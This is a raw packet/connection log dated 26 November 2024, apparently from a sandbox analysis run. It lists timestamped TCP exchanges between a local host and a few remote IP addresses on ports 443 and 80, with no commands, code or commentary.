Nov 26, 2024 08:56:22.642545938 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.668831110 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.672418118 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.672468901 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.672477007 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.672533989 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.672760963 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.672792912 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.672806978 CET	49993	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.672811985 CET	443	49993	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.675565958 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.675601959 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.675750017 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.675904036 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.675919056 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.703478098 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.706651926 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.706723928 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.706737995 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.706754923 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.706834078 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.706979036 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.706979036 CET	49991	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.706993103 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.707001925 CET	443	49991	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.711617947 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.711684942 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.711740017 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.713795900 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.713812113 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.741311073 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.744369030 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.744441032 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.744558096 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.744579077 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.744590044 CET	49994	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.744595051 CET	443	49994	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.747088909 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.747112989 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.747270107 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.747509956 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.747523069 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.814326048 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.817434072 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.817498922 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.817514896 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.817565918 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.817846060 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.817867041 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.817894936 CET	49995	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.817902088 CET	443	49995	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.823537111 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.823596001 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:22.823676109 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.823916912 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:22.823932886 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:23.745069027 CET	50002	80	192.168.2.4	192.124.216.14
Nov 26, 2024 08:56:23.865430117 CET	80	50002	192.124.216.14	192.168.2.4
Nov 26, 2024 08:56:23.865586996 CET	50002	80	192.168.2.4	192.124.216.14
Nov 26, 2024 08:56:23.934866905 CET	50002	80	192.168.2.4	192.124.216.14
Nov 26, 2024 08:56:24.054953098 CET	80	50002	192.124.216.14	192.168.2.4
Nov 26, 2024 08:56:24.434518099 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.435136080 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.435165882 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.435745955 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.435751915 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.491883993 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.492366076 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.492388964 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.492789030 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.492794037 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.527404070 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.527832031 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.527858973 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.528260946 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.528266907 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.555964947 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.556350946 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.556360006 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.556785107 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.556788921 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.608004093 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.608431101 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.608463049 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.608828068 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.608833075 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.868966103 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.872359037 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.872426987 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.872476101 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.872507095 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.872522116 CET	49998	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.872528076 CET	443	49998	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.875082016 CET	50003	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.875118971 CET	443	50003	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.875200033 CET	50003	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.875309944 CET	50003	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.875324011 CET	443	50003	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.944755077 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.948201895 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.948261976 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.948339939 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.948353052 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.948362112 CET	49996	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.948367119 CET	443	49996	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.950665951 CET	50004	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.950702906 CET	443	50004	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.950782061 CET	50004	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.950905085 CET	50004	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.950920105 CET	443	50004	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.971693993 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.971930027 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.971978903 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.972054005 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.972062111 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.972073078 CET	49999	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.972076893 CET	443	49999	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.974164963 CET	50005	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.974189997 CET	443	50005	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:24.974255085 CET	50005	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.974373102 CET	50005	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:24.974383116 CET	443	50005	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.009366035 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.012592077 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.012649059 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.012712955 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.012721062 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.012738943 CET	49997	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.012742996 CET	443	49997	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.015167952 CET	50006	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.015187979 CET	443	50006	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.015348911 CET	50006	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.015465975 CET	50006	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.015476942 CET	443	50006	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.052252054 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.054944992 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.055006981 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.055042982 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.055053949 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.055067062 CET	50000	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.055072069 CET	443	50000	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.057465076 CET	50007	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.057497978 CET	443	50007	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.057626963 CET	50007	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.057782888 CET	50007	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:25.057792902 CET	443	50007	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:25.435734034 CET	80	50002	192.124.216.14	192.168.2.4
Nov 26, 2024 08:56:25.568720102 CET	50002	80	192.168.2.4	192.124.216.14
Nov 26, 2024 08:56:25.822845936 CET	50002	80	192.168.2.4	192.124.216.14
Nov 26, 2024 08:56:26.591603994 CET	443	50003	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.645844936 CET	50003	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:26.645880938 CET	443	50003	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.646689892 CET	50003	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:26.646697998 CET	443	50003	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.703790903 CET	443	50005	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.730756998 CET	50005	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:26.730784893 CET	443	50005	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.731198072 CET	50005	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:26.731204033 CET	443	50005	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.735573053 CET	443	50006	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.736135006 CET	50006	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:26.736152887 CET	443	50006	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.736535072 CET	50006	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:26.736538887 CET	443	50006	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.737071991 CET	443	50004	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.737375021 CET	50004	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:26.737386942 CET	443	50004	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.737783909 CET	50004	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:26.737787962 CET	443	50004	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.906752110 CET	443	50007	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.907244921 CET	50007	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:26.907270908 CET	443	50007	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:26.907676935 CET	50007	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:26.907681942 CET	443	50007	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.027064085 CET	443	50003	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.030011892 CET	443	50003	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.030066013 CET	443	50003	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.030067921 CET	50003	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.030105114 CET	50003	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.030205965 CET	50003	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.030234098 CET	443	50003	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.030245066 CET	50003	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.030251026 CET	443	50003	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.032892942 CET	50008	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.032943010 CET	443	50008	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.033004999 CET	50008	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.033169031 CET	50008	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.033185959 CET	443	50008	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.139543056 CET	443	50005	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.142369986 CET	443	50005	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.142416954 CET	443	50005	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.142416954 CET	50005	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.142612934 CET	50005	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.142875910 CET	50005	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.142896891 CET	443	50005	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.142909050 CET	50005	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.142915010 CET	443	50005	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.146155119 CET	50009	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.146222115 CET	443	50009	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.146323919 CET	50009	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.146612883 CET	50009	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.146641970 CET	443	50009	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.169930935 CET	443	50006	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.173971891 CET	443	50006	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.174026966 CET	50006	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.174061060 CET	50006	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.174076080 CET	443	50006	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.174104929 CET	50006	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.174115896 CET	443	50006	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.176753044 CET	50010	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.176785946 CET	443	50010	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.176893950 CET	50010	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.177045107 CET	50010	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.177056074 CET	443	50010	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.179320097 CET	443	50004	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.182754993 CET	443	50004	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.182811022 CET	50004	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.182854891 CET	50004	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.182868004 CET	443	50004	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.182878017 CET	50004	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.182888031 CET	443	50004	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.184906960 CET	50011	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.184983969 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.185214996 CET	50011	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.185362101 CET	50011	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.185381889 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.361442089 CET	443	50007	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.364677906 CET	443	50007	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.364721060 CET	443	50007	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.364727020 CET	50007	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.364763975 CET	50007	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.364815950 CET	50007	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.364835024 CET	443	50007	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.364845037 CET	50007	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.364850998 CET	443	50007	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.405313969 CET	50012	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.405354023 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:27.405479908 CET	50012	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.408371925 CET	50012	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:27.408387899 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:28.748786926 CET	443	50008	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:28.749197006 CET	50008	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:28.749213934 CET	443	50008	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:28.749826908 CET	50008	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:28.749830008 CET	443	50008	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:28.933944941 CET	443	50009	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:28.948045969 CET	50009	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:28.948117018 CET	443	50009	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:28.948796034 CET	50009	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:28.948812962 CET	443	50009	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.026196957 CET	443	50010	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.039622068 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.044630051 CET	50010	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.044646025 CET	443	50010	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.045084000 CET	50010	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.045089960 CET	443	50010	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.045370102 CET	50011	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.045394897 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.045804024 CET	50011	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.045809984 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.187619925 CET	443	50008	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.190819025 CET	443	50008	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.193263054 CET	50008	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.197838068 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.271871090 CET	50012	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.286293030 CET	50008	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.286317110 CET	443	50008	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.286329031 CET	50008	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.286336899 CET	443	50008	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.288827896 CET	50012	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.288840055 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.289448023 CET	50012	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.289453983 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.350860119 CET	50013	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.350955963 CET	443	50013	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.351229906 CET	50013	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.352386951 CET	50013	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.352437973 CET	443	50013	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.376656055 CET	443	50009	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.379892111 CET	443	50009	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.379942894 CET	443	50009	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.379947901 CET	50009	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.380034924 CET	50009	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.380034924 CET	50009	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.380081892 CET	50009	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.380119085 CET	443	50009	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.382885933 CET	50014	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.382917881 CET	443	50014	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.383202076 CET	50014	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.383435965 CET	50014	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.383449078 CET	443	50014	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.481751919 CET	443	50010	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.484811068 CET	443	50010	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.484889030 CET	50010	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.486109972 CET	50010	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.486121893 CET	443	50010	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.486135960 CET	50010	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.486140966 CET	443	50010	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.492254019 CET	50015	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.492331982 CET	443	50015	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.492465019 CET	50015	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.492728949 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.492779016 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.492827892 CET	50011	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.492852926 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.494755983 CET	50015	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.494780064 CET	443	50015	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.494929075 CET	50011	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.494929075 CET	50011	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.494956017 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.495352983 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.495431900 CET	443	50011	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.495491982 CET	50011	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.498004913 CET	50016	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.498049974 CET	443	50016	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.498254061 CET	50016	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.498383045 CET	50016	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.498393059 CET	443	50016	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.642601013 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.642616987 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.642652035 CET	50012	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.642671108 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.647327900 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.647373915 CET	50012	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.659105062 CET	50012	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.659123898 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.659136057 CET	50012	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.659141064 CET	443	50012	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.711244106 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.711296082 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:29.711358070 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.721306086 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:29.721324921 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.070816040 CET	443	50013	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.071863890 CET	50013	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.071950912 CET	443	50013	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.072305918 CET	50013	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:31.072319984 CET	443	50013	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.168886900 CET	443	50014	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:31.170301914 CET	50014	443	192.168.2.4	13.107.246.63
